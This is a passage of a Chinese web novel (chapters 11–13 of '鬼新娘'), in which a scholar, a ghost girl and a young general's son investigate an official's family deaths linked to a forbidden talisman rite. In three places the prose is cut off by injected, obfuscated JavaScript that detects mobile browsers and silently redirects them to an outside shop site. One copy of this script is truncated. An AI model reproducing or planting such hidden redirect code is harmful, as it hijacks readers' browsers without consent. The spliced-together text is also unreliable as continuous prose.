其一:秦书彦死于久服丹砂;其二:仵作在其腹内,发现黄纸碎屑若干,并依残屑描摹半幅残符。 十八娘:“我听蛮奴说,秦公子自幼体弱多恙,秦大人与张夫人百般寻方,百计求医。其中一条便是:每三个月做一场法事驱邪。” 徐寄春挑眉看向她:“他们死亡当日,可能是在桃木村做法事?走,我们去桃木村看看。” 他一口气说完,便利落地翻窗离开。 独留十八娘立在原地,百思不得其解。 “如今倒像是我在陪他查案……” 一人一鬼望西而行,赶去离不庭村约摸五里许的桃木村。 十八娘走到一半,指着远处一座山雾萦绕的山道:“子安,你看,那里就是浮山。” 徐寄春随她看向浮山:“浮山楼就在山上吗?” 十八娘:“在山腰处,入口有一个断成两截的分路碑。不过,你知道也没用,凡人既看不到浮山楼,也进不去。” 徐寄春笑道:“没准我能进去。” 十八娘见他不似开玩笑,心中一惊,忙跑到他面前,连连苦劝道:“你千万别进去。上回有人误入楼中,阿箬好不容易送他回去,他却疯了。” 说话间,桃木村到了。 因村中发生命案,死者还是朝中三品大官,佩刀的官差在村口奔走往来,不准任何人进村。 十八娘撇下徐寄春,径直飘向三人横尸的房中。 徐寄春等了许久仍不见她,索性借口问路,找到村外耕种的村民打听。 村民得了十文钱,可谓知无不言,言无不尽。 据其所言,桃木村不过十户人家,且白日很少在村中。 “他们遭害的屋子,荒废已久。我们也奇怪,城里的大官怎会跑到这偏鄙之地。”秦融一家三口何时入村,村民们并不知晓。 徐寄春:“何人发现他们的尸身?” 村民:“陶大郎。他晨起挑柴入城发卖,打 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他向村民道谢后离开,远远瞧见一道人影朝他飘来。 正欲开口唤她慢些飘不急,另一个男子突然出现在他的眼前,带起一阵风:“子安,真巧啊!” 徐寄春:“原是明也。” 陆修晏:“我今日随舅父来城外走走,一进村便瞧见你与十八娘站在村口。” 十八娘飘至两人面前,乐呵呵道:“子安,明也说愿意帮我查案。” 徐寄春笑容满面:“明也果真仗义。” 陆修晏眉开眼笑:“小事一桩,不必言谢。” 两人相视一笑,又迅速尴尬地别过脸。 十八娘夹在两人中间,似懂非懂。见两人笑完,她忙道:“走走走,我们快去问问秦娘子。” 秦娘子乃秦融与正妻张夫人所生的大女儿。 常年在许州老宅静养,前日方抵京。 眼下,她住在姨母张夫人的家中。 教义坊计府。 闻下人来报陆修晏携徐寄春到访,张夫人满腹疑惑,略整仪容,出厅相迎:“贤侄何故来了?” 陆修晏:“伯母安好,家母嘱托代问伯母金安。” 计、陆两家素无往来,自己与陆二夫人更是鲜有交集。 不过来者是客,张夫人笑着招呼道:“快坐下。” 陆修晏与徐寄春依言坐在下首。 茶喝了半杯,前言不搭后语的话扯了数十句。 张夫人见二人目光频频看向后院,又闻说妹夫一家的案子已交由刑部,心下雪亮,直截了当地问道:“贤侄,可是武大人着你来寻蘩娘?” 陆修晏含笑点头:“不知秦娘子今日是否方便?” 张夫人招手唤侍女近前,方款款起身,温言道:“二位贤侄,请随我移步后院。” 秦娘子名秦采蘩,今年已二十有三。 因身子有疾,至今仍待字闺中。 隔着一道屏风,秦采蘩怯懦的声音响起:“上月初,娘亲差人送来书信,命我赶在端阳前入京。可我旧疴咳疾又犯,缠绵病榻多日,至十日前方得勉强启程。” 她的话停在此处再无言语传出,屏风后自此只有呜咽的哭声。 张夫人接过话头:“我遣去迎蘩娘的下人,在虎牢关遇到蘩娘。待蘩娘平安入京,我才告知他们的死讯。” 话音未落,张夫人已是泪如雨下,拭泪的帕子攥得皱成一团。 迎风平静片刻后,她声音发颤勉强开口:“秦四郎死有余辜,我只可惜我苦命的妹妹与五岁的外甥……” 11. 鬼新娘(四) 屏风内外,悲痛欲绝的哭声此起彼伏。 陆修晏与徐寄春面面相觑,不知劝谁亦不知如何劝。 十八娘飘进屏风后,细细打量秦采蘩。 她身形纤薄,素色衣裙松松垮垮地覆在身上,更显空荡。脸上不见血色,只余一片病气沉沉的蜡黄。 偶有风吹来,她捏着帕子掩唇咳起来,纤细的肩膀在咳声中不住地颤抖。 十八娘见不得女子哭,随即飘到徐寄春身边:“她不常在京中,应是不知家中事。我看我们还是问张夫人吧。” 先于徐寄春之前,陆修晏开口问道:“伯母,你为何说秦大人死有余辜?” 碍于秦采蘩还在跟前,张夫人话到嘴边又生生咽了回去,只朝二人使了个眼色,指尖往前厅方向轻轻一指。 刚踏进前厅门槛,她便滔滔不绝地数落起来,声音又急又快,一句接一句骂得人耳中嗡嗡响。 “秦四郎这个贪淫好色的小人,死得好死得妙!他那点花花肠子,满京人谁不知?打着‘开枝散叶’的幌子,净干些没脸没皮,偷养外室的勾当。老天爷有眼,把他收了去!为了升官发财生儿子,他这些年求神拜佛、打醮跳神,银子流水似得往外抛,闹得家里乌烟瘴气,鸡飞狗跳!” 她停下来喘气,陆修晏见缝插针:“伯……” “可怜我妹妹与蘩娘,一个没日没夜喝求子药,一个被他拆了姻缘送去老宅。说是静养,不过是嫌蘩娘八字不好,挡了他的青云路!” 外间天色已暗,城门鼓不停在敲。 徐寄春原想借口回家,可一抬头看十八娘听得极为认真,又将嘴闭上。 反正陆修晏在,他何愁回不了家? 二人一鬼足足听了二刻钟,坐得腿都麻了。 直到府门外传来熟悉的车马声,一身官服的计大人下马入府,张夫人才换上一副温柔面孔快步迎上去,声音软得像浸了蜜:“三郎,今日怎回得这般晚?” 计大人唉声叹气向她解释:“武大人邀我与王大人入府商议案情。” 张夫人:“可是有了线索?” 计大人苦闷摇头:“没有。” 两人亲热地挽着手入内,计大人一抬头见陆修晏竟在自己府中,纳闷道:“贤侄,武大人找你半日了,你怎突然从桃木村跑了?” 陆修晏:“哈哈哈,舅父年老健忘,我走时与他说过的。” 计大人面无表情:“我今日一直守在武大人身边,并未听见你开口。” “……” 今日入村见到十八娘,他哪还顾得上与武飞玦道别。 计大人一再追问他今日的行踪,陆修晏眼珠子一转推给徐寄春:“探花郎迷路了,我好心送他回城。” 徐寄春:“……” 计大人的目光转向徐寄春:“贤侄,你送探花郎回城,又缘何入府?” 张夫人嗔怒一声:“这里不是大理寺,你别吓到两位贤侄。圣上下诏限期破案,陆贤侄想为武大人分忧罢了。” 有张夫人解围,陆修晏立马点头:“对,我想为舅父分忧。” 计大人眉头一皱:“你整日舞刀弄枪,瞧着也不会破案啊。” 陆修晏懂了,懂得计修竹明明德才兼备,官位却始终不上不下。 原是因为他这张嘴,这张哪壶不开提哪壶的嘴。 徐寄春抬手轻咳几声,起身行礼告辞。 十八娘随他飘走,陆修晏只好提步追上去。 二人一鬼走在空无一人的长街上,偶有巡夜的官差提着灯笼怒气冲冲上前,又在看清陆修晏的相貌后,换了副赔笑的模样,整齐划一地往别处去了。 徐寄春说出他的疑惑:“今日张夫人的话里,三番五次提及生儿子一事。秦公子今年才五岁,秦大人这般年纪得了这么个独苗,实在算得上中年得子。除了秦娘子与秦公子,秦大人没有旁的儿女吗?” 陆修晏:“还有几个女儿。不过,她们似乎也在旁处静养。” 十八娘倒知道缘由:“秦大人素来痴迷命理之说,认定女儿们的生辰八字有碍他的仕途,故而女儿们一落地,他便派人送走了。” 陆修晏好奇道:“这是秦大人的秘密,连我都不知晓,你从何得知?” 十八娘扬起一张笑脸,得意洋洋:“我常去秦家听墙角。” “秦家的墙角不好听,你来我家听。” “我去过你家几回。你家有一个孩子特别胆小,时常躲在床底,你知道他是谁吗?” 陆修晏面不改色:“应是我表弟。” 绯红余晖被暮色吞没,夜露初凝,新月悄然浮出。 两个巡夜的官差提着灯笼转过宜人坊,见陆修晏与徐寄春在坊中漫步,两人衣袖随步履轻晃,不时有低笑漫出。 之后,这两个官差缩在巷尾墙根下偷闲,余光又瞥见陆修晏似推似引地将徐寄春拽进坊中的一座宅子。门轴“吱呀”转动,徐寄春摇头晃脑,好似极不情愿? 手中的灯笼掉地,两个官差尴尬地对视一眼:“这……我们要管吗?” “陆家的事,你敢管吗?” 其中一人慌忙拾起歪斜的灯笼,朝另一人急唤一声。 两人脚步踉跄地跑走,只想尽快逃出这是非之地。 路过那座宅子,忽有几句男子的话语从墙内飘出来,裹着些微叹息,满是无可奈何的郁闷—— “明也,我这里只一张床。” “你别……” 徐寄春立在窗边,冷眼看着陆修晏在地上铺床,深深的无力感涌上心头。 方才,十八娘遇见贺兰妄,两鬼结伴出城回浮山楼。陆修晏看到十八娘离去,又听其说与贺兰妄为伴,当即决定陪他回家,还说要保护他。 徐寄春轻拍窗框:“明也,我不怕鬼,不需要你陪。” 正弯腰铺着床的陆修晏闻声抬头,咧嘴一笑:“子安,我今日才知京中竟住着不少鬼。你一个文弱书生,最易招惹邪物。我阳气足,又有一身功夫,合该留下来保护你。” 徐寄春:“你看不到贺兰妄?” 陆修晏老实摇头:“看不到。” 十八娘与贺兰妄都是鬼,没道理陆修晏能看见十八娘,却看不到贺兰妄。 徐寄春盯着陆修晏弯腰铺床的背影,笃定他在说谎。苦于找不到他话中的破绽,只得作罢,由他在地上忙碌。 临睡前,躺在地上的陆修晏小心打听起贺兰妄:“子安,那个男鬼贺兰妄和十八娘很熟吗?” 案头烛火忽明忽暗,比窗外的夜风更让人心烦意乱。 徐寄春翻过身去:“熟,特别熟。” “看来我得努力了。” “你要努力做什么?” “努力讨好你照顾你。” “……” 次日,残月半隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16532144|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,金乌初现。 一如往昔,徐寄春从混沌的梦中睁开眼,准备披衣下床读书。可今日不同,一张脸近在眼前,他倒抽一口凉气,手忙脚乱地裹着被子往后缩。 “子安,我一早去伙房熬的。”见他睡醒,陆修晏眨眨眼睛,双手递上一碗热粥。 热粥表面浮着薄薄一层灰 ,徐寄春无奈挥手,泄了气似地躺回床上,默默拽过被子蒙住脑袋。 “我尝过,味道还不错。” “我怕死,你吃吧。” 同昨日一样,十八娘今日来得极早。 门窗大开,她边喊边走进去:“子安,我来了。” 听见她的声音,在窗前读书的徐寄春,与站在他旁边擦剑的陆修晏齐齐回头。 十八娘的目光在两人身上徘徊许久,最终投向地上那床尚未收起的被褥:“你们昨夜同房而眠?” “对。” 陆修晏抢先开口:“近来京中不太平,我担心子安的安危,特意搬来与他同住。十八娘,你放心,我学过斩妖术,对捉鬼一道也颇为在行。” 原是如此,十八娘露出放心的笑容:“行。但你别吵着子安,他还得准备吏部关试呢。” “吏部关试,重在文牒勘验。我今日便去吏部找孙大人,为子安询问细则。” “明也,你人真好!” “……” 徐寄春合上书,轻声催促喋喋不休献殷勤的陆修晏出门:“走了,去查案。” 端阳过后,日头越发毒辣。 昨日陆修晏已答应帮自己查案,十八娘原想让徐寄春今日在家休息。 无奈劝阻的话刚在舌尖打转,徐寄春已踏过门槛,转眼就没了踪影。 等陆修晏更衣的空当,十八娘飘到徐寄春身边,劝道:“子安,今日日头大,你不如在家舒舒服服看书。” 越过十八娘的肩头,徐寄春看向朝他们走来的陆修晏:“昨夜明也说我阳气不足易遭邪祟,劝我多晒晒正午的太阳。” 十八娘:“他乱说,补阳气何需暴晒?他明摆着故意整你,我去骂他。” 徐寄春似笑非笑:“明也好心办坏事罢了,你别骂他。” 话音刚落,陆修晏眉开眼笑出现在十八娘身后:“走吧。你们今日想去何处?” 十八娘:“天师观!” “城外有两个天师观。你要去邙山天师观还是不距山天师观?”陆修晏站在日影下,迷茫地指着南北两个方向。 徐寄春:“有区别吗?” 陆修晏:“没有。” 两人看向中间的十八娘:“你要去哪座天师观?” 十八娘支支吾吾比划半晌,最后勉强定了南面的不距山天师观,却一步三回头,直勾勾盯着北面的邙山天师观。 徐寄春深觉她行径古怪,于是状似无意地走到陆修晏身边:“这两座天师观都有哪些道长?” 陆修晏:“不距山天师观住着清虚道长,邙山天师观则是守一道长坐镇。二人虽同岁,但清虚道长入门早辈分高,是守一道长的师叔。” 徐寄春:“年轻一辈的道士中,可有出挑的?” “年轻一辈?”陆修晏略一沉吟,“我只识得一人,唤作温洵。他丰神俊朗且武功高强,尤擅捉妖缚鬼之术。若论本事,京中道观年轻一辈的道士中,他当属翘楚。” 徐寄春懂了,问题出在这个温洵身上。 12. 鬼新娘(五) 洛京城一南一北,有两座天师观。 一座门庭若市,弟子以百计;一座门可罗雀,弟子仅一人。 不巧,他们今日要去的,正是那座杳无人迹的不距山天师观。 出厚载门,行三里路,便是不距山。 天师观半悬于山腰,石阶层层蜿蜒而上。 二人一鬼一路拾级而上,先穿过山门,再折向东行约三百步。忽见一座小小的灰瓦道观自竹影中浮出,映入眼帘。 门扉半开,门边虬曲的古树下,有一道青影坠在半空。 原是个道士正倒挂在横枝上,足踝稳稳勾着碗口粗的枝干。他双目微阖,呼吸沉稳,像是在修行,又像是在打盹。 十八娘飘过去与他打招呼:“钟离道长,我有事想问问你。” 树下的道士睁眼,眼中映出一个女子倒悬的面容,他吓得大叫:“师父,女鬼找上门了!” 咚—— 啊—— 树下的道士落地,门后的老道士被门槛绊倒。 徐寄春与陆修晏一时手忙脚乱,最后齐齐跑去扶老道士。 期待的眼神一点点黯淡下去,钟离观双手一撑,身体踉跄着站了起来,不甚在意道:“摔一摔,十年少。” 十八娘委屈地站在他身边道歉:“钟离道长,我不是故意吓你的。” 钟离观大度地挥挥手,然后大步流星蹿到老道士身后,探出半截脑袋,手指哆哆嗦嗦地指向十八娘:“师父,就是她!” “哪有鬼?一天到晚神思不属、疑神疑鬼,为师看你就是修行不精、心志不坚,见草木山石都成了精怪。”拂尘往后一抛,清虚道长反手一巴掌拍到钟离观背上。 十八娘特意走到清虚道长面前,再三确定他看不到自己后,又走到钟离观身边嘀咕道:“弟子能看见我,为何师父却看不到?” 钟离观委实有苦难言,只好拉徐寄春作证:“善人,你来说,这里是不是有一个女鬼?” 目光在师徒二人间犹豫片刻,徐寄春轻轻颔首:“是有一个女鬼。” “女鬼而已,大惊小怪。”清虚道长扶着腰喘气,顺便问起徐寄春与陆修晏的来意,“两位善人,你们来此拜师还是上香?” “道长,我们想找一张明黄的符纸。”徐寄春依照十八娘的嘱咐,问起一张符纸的用处。 “符上画着什么?” “忘了。若能看到相似的符纸,便能认出。” “三十文。” “明也,付钱。” 陆修晏爽快地付完钱,清虚道长立马从随身的布袋中,掏出一沓厚厚的明黄符纸:“喏,符纸都在此处,你们自个找去。” 总共七十三张,团成一团。 徐寄春与陆修晏蹲下身,摊开皱巴巴的符纸。 十八娘一张张看过去,看至第五十一张时,指尖悬在纸面:“就是这张。子安,你快问问,这是什么符纸?” 徐寄春拿起那张符纸,递给清虚道长:“道长,就是这张。” 清虚道长伸出手,索要酬金:“三十文。” “明也,付钱。” 陆修晏照旧爽快地付完钱,清虚道长抚须一笑:“此乃替身解厄符。焚符调水给病者饮下,可转嫁病痛于至亲之身。” 徐寄春:“道长,这怕不是正经符纸吧?” 清虚道长:“对啊,这张是邪符。” 闻言,陆修晏拉着徐寄春后退三步:“道长,你到底是不是正经道士?” 清虚道长气得吹胡瞪眼:“贫道乃正一道正统弟子,尔等休得胡言。” 徐寄春嘴角一抽:“既是正统,又为何画邪符?” 清虚道长理直气壮:“你们既要观尽所有符纸,贫道自当将正符邪符,一并呈上。说吧,你们在何处见过这张符纸?” 十八娘:“一个小孩的肚子里。” 清虚道长顺嘴接话:“这小孩生了重病,有人行邪法,寻替身以消灾厄。” 话音刚落,他自觉失言,赶忙闭嘴。 围观的三人目瞪口呆,尤其以钟离观最为气愤:“师父!” “为师磨砺你的心智罢了。”清虚道长义正言辞,之后拂尘一甩,沉声道,“替身解厄术,乃是十年前盛行于楚州一地的阴毒邪术。作法时,施术者以血画符,贴于病者额头,待半炷香后揭下焚符调水,强令病者饮下。” 十八娘:“何谓转嫁病痛于至亲之身?” 清虚道长:“画符之血,须取一碗替身心头血为引,且需经过七七四十九日念咒加持。此替身,非病患至亲不可为之。当年楚州有多人死于此等邪术,官府严令禁绝,违者斩。” 十八娘明白了。 怪不得秦融一家会死在偏僻的桃木村,原是为了偷偷行邪术。 当日桃木村那场替身解厄术,独独少了施术者。 看来凶手,与此有关。 “多谢你,道长。”十八娘向清虚道长道谢。 堪堪说了几句话,便白得六十文。 清虚道长笑眯了眼:“若满意,下次可再来。” 十八娘叫走另外两人,说出自己的猜测:“秦公子腹内的符纸仍清晰可见,想来他饮下符水后不久便死了。替身得是至亲,但秦大人与张夫人的胸口并无取血的痕迹。” 陆修晏环顾左右,压低声音:“去年,我自一人处闻得秦家一桩秘辛。” “什么秘辛?” “秦公子不是张夫人所出的嫡子,而是秦大人外室所生的私生子。” 十八娘:“我常去秦家听墙角,怎么不知这事?再者,五年前,我亲眼看到身怀六甲的张夫人回许州老宅待产。” 陆修晏:“你若不信,我带你去找这个人。” “行!” 陆修晏所言之人,并非旁人,正是他的亲娘陆二夫人武飞琼。 洛滨坊卫国公府。 武飞琼尴尬地看着徐寄春,转头柳眉倒竖,狠狠盯着儿子陆修晏:“我何时说过秦公子不是张夫人所出?” 眼见十八娘面露失望,陆修晏的声量陡然拔高:“去年中秋,你曾说看见秦大人的外室找张夫人讨要孩子。” 死寂的沉默过后,武飞琼用手指用力按了按眉心,咬牙切齿道:“是。去年中秋前两日,我路过秦家后门,看见秦大人的外室找张夫人要孩子。” 十八娘:“你为何知晓要孩子的女子,一定是秦大人的外室?” 陆修晏:“娘,你怎么知道那女子是秦大人的外室?” 武飞琼白眼一翻:“她从前常与秦大人出双入对,京城人人皆知她是秦大人的外室。” 十八娘:“她是何人?” 陆修晏:“娘,这女子叫什么?” “越香,住在北边上林坊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16532145|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “多谢娘亲。” 陆修晏美滋滋欲走,却冷不丁被武飞琼唤住:“明也留下。” 徐寄春回头,无奈摊手:“我们先去上林坊等你。” 陆修晏抬手开心道别,等一人一鬼的身影消失在大门后,他立刻转身,扑通跪下:“娘,我错了!” “我没你这般蠢的儿子!” 堂堂二品神武大将军的夫人,卫国公府说一不二的当家主母,竟是个穿堂过院打听别家闲话,背地里与儿子嚼舌根的碎嘴妇人。 秦家尚有子侄在朝为官,若今日这些话漏了半分出去,她颜面何存? 一人一鬼方踏出卫国公府的大门,惨叫声与求饶声相继传出。 十八娘不忍多看多听,只得催身边的徐寄春快走:“明也真是太仗义了!” 徐寄春立在原地,屏息凝神听了一会儿,才大步追了上去:“你好像认识天师观的两个道士?” 十八娘:“我喜欢看热闹嘛,他们师徒常在城中驱妖捉鬼。一来二去,便认识了。不过,他们从前看不到我。” 出了洛滨坊,眼前豁然开朗。 目光越过皇城,远处的邙山巍峨峻拔,山色青碧。 徐寄春慢腾腾走过白马桥:“我听斯在说,邙山天师观很灵验,我打算改日去观里求一张平安符。十八娘,你有认识的道士吗?” 十八娘认真想了想:“其实相比守一道长,清虚道长的修为更胜一筹。而且,他的平安符很便宜,只要十文。” 一人一鬼有一搭没一搭地闲扯。 快到上林坊时,徐寄春总算将话头引向温洵:“听说邙山天师观的温道长修为不俗,你认识他吗?” 十八娘眼神飘忽:“不算很熟,就见过几次。” 徐寄春了然地点点头,随即不再言语,只将手背在身后,安心静候陆修晏过来与他们汇合。 未等太久,脸上浮着两团酡红的陆修晏,一瘸一拐地从附近的莽浮桥走过来。 十八娘有些自责:“明也,此番是我连累你了。” “我今日挨打,并非因为你,而是我昨夜没回家。”陆修晏绷紧腰背,放缓了语气向她解释。转念又怕她误会武飞琼,忙道,“我娘特别和善,是京中出了名的温柔夫人。” 徐寄春看着他脸上那两道显眼的巴掌印,嘴角微不可察地抽动了一下。 “走吧,我们去找越香。” 越香的宅子,不算难找。 陆修晏随手拦住一个过路的男子打听,那人嫌弃地指了指坊中第六间宅子。 徐寄春好奇道:“你和她很熟吗?” 男子:“她仗着是秦大人的外室,整日里穿金戴银地招摇过市。” 同是女子,武飞琼是有口皆碑的温柔夫人。 而越香,则是上林坊人人嫌恶的讨厌鬼。 无他,她尖酸刻薄难相处,动辄打骂奴仆。 与左邻右舍,更是势同水火。 一行人走去第六间宅子门前,陆修晏上前叩门。 不消一刻,大门打开,一个双眼红肿的妇人探身出来,警惕地扫过两人:“你们是谁?” 陆修晏:“你是越香吗?我们有事想问问你。” 徐寄春补上另一句:“我们是刑部所派的官差。” “断子绝孙的秦四郎,害死我儿还不够,如今又将弥天大祸嫁祸于我!” 13. 鬼新娘(六) 越香骂声污秽,嗓门又大,引得坊间百姓纷纷推门张望,对着三人指指点点。 “这坊里住着不少大官呢,快把她推进去。”十八娘认出几位官员,赶忙催促两人推她进去。 陆修晏咬牙一推,徐寄春迅速关门。 厚重的朱漆大门阖上,隔绝了所有看热闹的声音与目光。 越香进门后,越看两人越不对劲,厉声道:“刑部的官员,我都见过,绝无你二人。你们究竟是何人?” 徐寄春:“有人付了一笔酬金,让我们帮你找出杀子凶手。” 越香明显不信他的说辞,冷哼一声:“说吧,你们是秦家的人,还是张家的狗?” 她神态倨傲,说话难听。 陆修晏原想亮明身份,却被身前的徐寄春拦下。 徐寄春:“你别管我们是谁的人。你儿子死了,你难道不想找出凶手,为他报仇?还是说,你怀胎十月生下他,仅视他为向秦家索钱的摇钱树?” 闻言,越香崩溃大哭:“我辛苦生下他,本欲自行抚养。是张惠娘骗我,说自己难产生下死胎,午夜梦回全是孩子冷冰冰的尸身。我一时心软,便答应把儿子抱给她养几日……” 她也是刚诞下孩子的母亲,看着满目哀伤的张惠娘,不由得生出恻隐之心。 再一想张惠娘是正室,料想应看不上她的儿子。她心一软,便将亲生骨肉交予失子的张惠娘代为抚养几日。可约定之期已过数日,她仍未见到儿子。 于是,她找上张惠娘,提出抱回儿子。 岂料张惠娘翻脸不认人,死活不肯将儿子还给她,还说是为了她的儿子好。 她跑去求秦融,反被其斥责“胡闹”、“不懂事”。 自那日之后,她的儿子成了张惠娘的嫡子,而她再未见过儿子,哪怕一眼。 越香:“每年书彦的生辰,我都会跑去秦家,恳求张惠娘开恩,让我抱一抱孩子。可张惠娘的心肠真硬啊……不仅指使侍女斥骂我,还命人将我赶走。” 张惠娘设计夺走她的儿子,却没有好好抚养。 她的儿子才长到五岁,便没了。 三日前,她花钱贿赂义庄守卫,总算得以见到儿子最后一面。 她恨毒了伪善的张惠娘,恨透了秦融的虚伪。 更恨那个无权无势、只能屈辱地成为秦融外室、卑微依附秦融的自己! 等越香平复片刻,徐寄春问道:“秦大人找过你取心头血吗?” “心头血?” 越香绞紧帕子,僵硬地摇了摇头:“没有。” 十八娘:“子安,你问问她,秦大人是否曾向她提过替身解厄术?” 徐寄春原话转述后,越香陷入沉默。直到暮色四合,她才迟疑地说起一件事:“七年前的冬月,秦四郎染了风寒,病得很重,都快死了。后来他突然好了,之后得意洋洋地与我炫耀,说有人替他死了。” 紧接着,越香又压低声音透露一事:“秦四郎和一个道士关系匪浅,他常说此人是他的救命恩人。” 徐寄春:“你知道是何人吗?” 越香:“不知。秦四郎不准我们打听他的事。安业坊从前有一个外室,只因多嘴问了一句他的公干,便被发卖去了外乡。” 眼见再问不出旁的事,二人一鬼推门离开。 外间万物归寂,归鸟的影子自眼前掠过,西坠的太阳沉落于邙山之中。 送十八娘出城的路上,对于这桩案子,徐寄春心中已隐隐有了一个推断:“七年前,秦大人借替身解厄术得以续命;七年后,他妄图让秦公子也通过此术转移病痛,平安长大。” 十八娘:“秦大人的双亲十年前已然亡故,唯余一弟,且尚在人世。他哪来的至亲替身,又为他死,又为秦公子死?” 徐寄春:“你们难道忘了吗?秦大人有一堆出生便被他亲手送走的亲女儿。” 陆修晏听得脊背发凉:“岂非秦大人杀了亲女儿,为自己与儿子续命?” 十八娘:“我认为子安说得有道理。秦大人膝下诸女,除却秦娘子乃嫡出,余者皆为外室所生。而且,只有秦大人知晓女儿们的下落。” 陆修晏愤恨道:“若真相如你们所猜,他可真是禽.兽不如。” 闲谈间,长夏门近在咫尺。 十八娘挥手与两人告别,再蹦蹦跳跳地随百姓们出城。 陆修晏盯着她的背影,小声问道:“子安,今日那个男鬼在吗?” 徐寄春面无表情:“在,他们并肩走的。” 伤心不过一瞬,陆修晏又精神抖擞地提出送徐寄春回家:“子安,不瞒你说,我已打算搬出国公府,另寻居所自食其力。原想与你一样赁间小宅子,可一时找不到合适的。不如我付你一半的赁金,住进你的宅子?” 徐寄春冷冷回绝:“不好,不要。” 陆修晏:“那今夜,你能再收留我一晚吗?” 徐寄春的手搭上他的肩膀:“明也,你与其费心照顾我,不如多想想贺兰妄。你没见过他吧?他长得……啧,极为俊美。” 陆修晏懂了,一脸郑重地谢过徐寄春,方转身离去。 解决完一个麻烦鬼,徐寄春长长地舒了一口气。 回家路上经过常去的酒楼,他顺脚拐进去,要了三只油亮亮的猪蹄。 酒楼掌柜收钱时,瞧见又是他,捻须打趣道:“客官,我还是头回见您这般爱吃猪蹄之人。” 今日的猪蹄色泽红亮,香透骨髓。 徐寄春眸光微动,唇角牵起一道极浅的笑意:“家中有人爱吃。” 闭门鼓歇最后一声,坊中渐寂,徐寄春敛步踏入伙房收拾。 经陆修晏今早一番妙手摧残,只见伙房内锅灰厚积,水迹横流,遍地狼藉。 此情此景不像熬粥,倒像是遭了场小劫。 徐寄春一边收拾一边暗自庆幸,好在他的亲娘虽喜习武之人,却偏爱身手利落的男子。 至于鬼娘,似乎对道士更情有独钟? 多年前,师父曾言他颇有道缘。 徐寄春立在灶台前,灶火映得脸上明暗不定。认真思忖后,他决意择日便去不距山天师观拜师,做个在家修行的俗家道士。 慢条斯理忙至戌时中,徐寄春才端起自己的晚膳回房。 谁知,等他一进门,竟见地上歪歪扭扭坐着个咧嘴痴笑的人,身侧还倚着两个偌大的包袱:“子安,多谢你提醒,我方才回府拿了不少新衣。” 徐寄春:“……” 好吧,与武夫拐弯抹角说话,确实是他的错。 徐寄春坐于窗前用膳,陆修晏盘坐于地,从包袱中翻出被褥与衣袍。 先将被褥铺陈于地,再将一包袱的新衣放进衣柜。 柜中空空荡荡,仅挂着三两件半旧的襕衫。再一看自己那叠簇新的衣袍,陆修晏越看越难受:“子安,你我身量相仿。若是不嫌弃,这些衣裳,你只管拿去穿。全是新裁的,未曾上过身。” 徐寄春:“不用。” 陆修晏冲到他面前:“子安,从今日起,我定会好好照顾你!” 徐寄春冷眼扫了他一眼,端起空碗便要起身去伙房。 陆修晏一把按住他:“你快看书,我来洗碗。” 他常年习武,力气大得惊人。 徐寄春被他按在椅子上动弹不得,只好妥协道:“你去院子洗,别去伙房。” “我明白!” 两人同房而眠的第二夜,陆修晏有千言万语想问,无奈徐寄春一言不发,倒头就睡。 地上寒气侵人,陆修晏默默将身上的锦被又掖紧了几分,抬头看向蜷缩在床上的模糊身影,自言自语道:“小孩子果然贪眠。” 比如,他常听他娘抱怨:“你啊你,儿时每日,只两个时辰醒着。” 定鼎门的晨钟穿透薄雾,市井的喧嚣由远及近。 十八娘与苏映棠挽着手入城,在宜人坊外分别。 一个往北,去找张夫人闲话家常。 一个往东,去找徐寄春出门查案。 今日同昨日一样,门窗大开。 陆修晏在院中舞剑,徐寄春在窗前看书。 十八娘立在院中,真心实意夸了几句“好”,才绕去窗边。 她双手支在窗台上,上身微微前倾,声音里裹着三分笑意:“子安,我来了。” 徐寄春移开面前的书,与她对视:“今日去何处?” 十八娘:“桃木村。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16532146|186394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >若秦融的替身,是他的那些亲女儿。 心头取血,替身便绝无生路。当日秦书彦既已饮下符纸,想来替身早已死去。 唯一从桃木村那座宅子中消失的人,是施术者。 一个大活人来过又消失,总会留下蛛丝马迹。 他们今日,便要找出此人的踪迹。 赶去桃木村的路上,陆修晏提议道:“这日头毒得很,子安身子单薄,怕是不能久晒。不如我回府寻辆马车来接他?” “明也,你真细心。”顺着他的目光,十八娘也看向肤色皎白的徐寄春,深以为然,“我们在这里等你,你快去快回。” 陆修晏得了夸,红着脸跑了个没影。 今日又热又闷,徐寄春背着手挪到树荫下。 十八娘飘到他的身后,好奇道:“子安,明也怎么整日待在你家?” 徐寄春:“可能他喜欢睡地上吧。 ” 